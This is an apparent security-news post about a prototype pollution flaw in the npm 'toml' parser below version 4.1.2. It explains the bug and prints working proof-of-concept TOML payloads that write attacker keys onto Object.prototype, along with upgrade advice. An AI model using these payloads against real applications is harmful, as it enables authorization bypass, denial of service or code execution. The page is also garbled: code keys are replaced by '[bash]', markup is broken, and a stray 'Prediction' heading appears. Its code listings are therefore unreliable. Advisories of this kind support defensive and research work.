Listen to this Post
`toml.parse()` writes attacker-controlled keys onto Object.prototype. The compiler protects the tables it builds by creating them with Object.create(null), which neutralizes a direct `
` table. An attacker bypasses that protection by routing a table path through a scalar value and into the real prototype chain: a path such as <code>a.b.y.__proto__.__proto__</code>, where `a.b.y` holds a number, resolves to `Object.prototype` and every subsequent key/value writes onto it. The bypass succeeds because the compiler's duplicate-key guards track paths with keys that do not match the keys used during traversal. The tracking strings and the traversal strings desynchronize, so the guard that should reject descending through an existing scalar never fires. The compiler builds the result tree in <code>lib/compiler.js</code>. Tables are created with a null prototype, so a direct `[bash]` table only sets an ordinary own property and does not pollute: [bash] var data = Object.create(null); // line 7 — root has no prototype // ... target[bash] = Object.create(null); // line 64 — intermediate tables, no prototype
The defect is in deepRef, which resolves a table path by walking each key segment of the live object graph:
function deepRef(start, keys, value, off) { // lib/compiler.js:183
var traversedPath = "";
var ctx = start;
for (var i = 0; i < keys.length; i++) {
var key = keys[bash];
traversedPath = traversedPath ? traversedPath + "." + key : key;
if (typeof ctx[bash] === "undefined") {
if (i === keys.length - 1) { ctx[bash] = value; }
else { ctx[bash] = Object.create(null); }
} else if (i !== keys.length - 1 && valueAssignments.has(traversedPath)) {
genError("Cannot redefine existing key '" + traversedPath + "'.", off); // line 197 — the guard
}
ctx = ctx[bash]; // line 200 — follows <strong>proto</strong> into the prototype chain
if (ctx instanceof Array && ctx.length && i < keys.length - 1) {
ctx = ctx[ctx.length - 1];
}
}
return ctx;
}
Two problems combine:
1. `deepRef` treats `__proto__` (and constructor, prototype) as ordinary traversable keys. Line 200 executes `ctx = ctx
` for every segment with no reserved-key check. When traversal reaches a scalar value — for example the number `1` stored at `a.b.y` — the next two `__proto__` segments evaluate to `Number.prototype` and then <code>Object.prototype</code>.
2. The guard on line 197 is defeated by a path-format desynchronization. `currentPath` is assigned two incompatible types: `setPath` stores an array (<code>currentPath = path</code>, line 151) while `addTableArray` stores a string (<code>currentPath = quotedPath</code>, line 172). When `assign` later builds the path of a value, it concatenates that array with a string.
For the table <code>[a.b]</code>, `currentPath` is the array <code>["a","b"]</code>, so `currentPath + "."` coerces it via `Array.toString()` to the comma-joined string <code>"a,b"</code>. The value `y = 1` is therefore recorded as <code>"a,b.y"</code>. But <code>deepRef</code>, walking the path <code>a.b.y.__proto__.__proto__</code>, builds `traversedPath` with dots and checks <code>valueAssignments.has("a.b.y")</code>. The set contains <code>"a,b.y"</code>, not <code>"a.b.y"</code>, so the lookup misses and the guard never raises "Cannot redefine existing key".
A second route reaches the same state without the comma trick. A table array `[[bash]]` triggers the prefix-clearing loop in <code>addTableArray</code>, which deletes tracking entries by string prefix and wipes the guard state before the `__proto__` descent.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: Node.js / npm
Version: < 4.1.2
Vulnerability: Prototype Pollution
Severity: Critical (CVSS 8.2)
date: 2026-09-03
<h2 style="color: blue;">Prediction: 2026-09-10</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Bash Commands & Code</h2>
<h2 style="color: blue;">Install vulnerable version:</h2>
[bash]
npm install [email protected]
Comma-desynchronization payload:
const toml = require("toml");
delete Object.prototype.polluted;
toml.parse(<code>[a.b]
y = 1
[a.b.y.__proto__.__proto__]
polluted = "yes"
`);
console.log(({}).polluted); // -> "yes"
Prefix-clear variant:
toml.parse(`
aa = 1
[[bash]]
[aa.__proto__.__proto__]
polluted = "yes"
`);
console.log(({}).polluted); // -> "yes"
Nested gadget object injection:
toml.parse(`
[a.b]
y = 1
[a.b.y.__proto__.__proto__.code]
val = "arbitrary"</code>);
console.log(({}).code.val); // -> "arbitrary"
Path desynchronization trace:
// assignedPaths : [ "a.b", "a,b.y", "a.b.y.<strong>proto</strong>.<strong>proto</strong>", ... ]
// valueAssignments : [ "a,b.y", ... ]
// deepRef checks valueAssignments.has("a.b.y") -> false
Exploit: (Educational Purposes!)
An attacker crafts a TOML document with a specially designed table path that traverses through a scalar value into Object.prototype. The payload exploits the path-format desynchronization between `valueAssignments` (which stores comma-joined paths like a,b.y) and `deepRef` (which checks dot-joined paths like a.b.y). This causes the duplicate-key guard to miss, allowing attacker-controlled keys to be written to Object.prototype. A second variant uses the `[[bash]]` table-array prefix-clearing path to erase guard state before the same `__proto__` traversal. The attack requires no authentication and can be launched remotely.
Protection
Upgrade to `[email protected]` or later. If unable to upgrade immediately, avoid parsing untrusted TOML input. Validate and sanitize all TOML documents before passing them to toml.parse(). Consider using a different TOML parser that is not vulnerable to this issue.
Impact
- Any application that calls `toml.parse()` on an attacker-influenced TOML document allows arbitrary property writes onto
Object.prototype. - Injected properties become visible on every object in the Node.js process, enabling denial of service (corrupting runtime properties), logic and authorization bypass (overriding flags read from plain objects), and with a suitable sink, remote code execution.
- The blast radius is the whole Node.js process, not just the parsed result object.
– `toml` reports roughly 14.8 million weekly downloads and around 1,340 dependents, so the transitive exposure is large.
Credit: Duy Bui / @calif.io
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

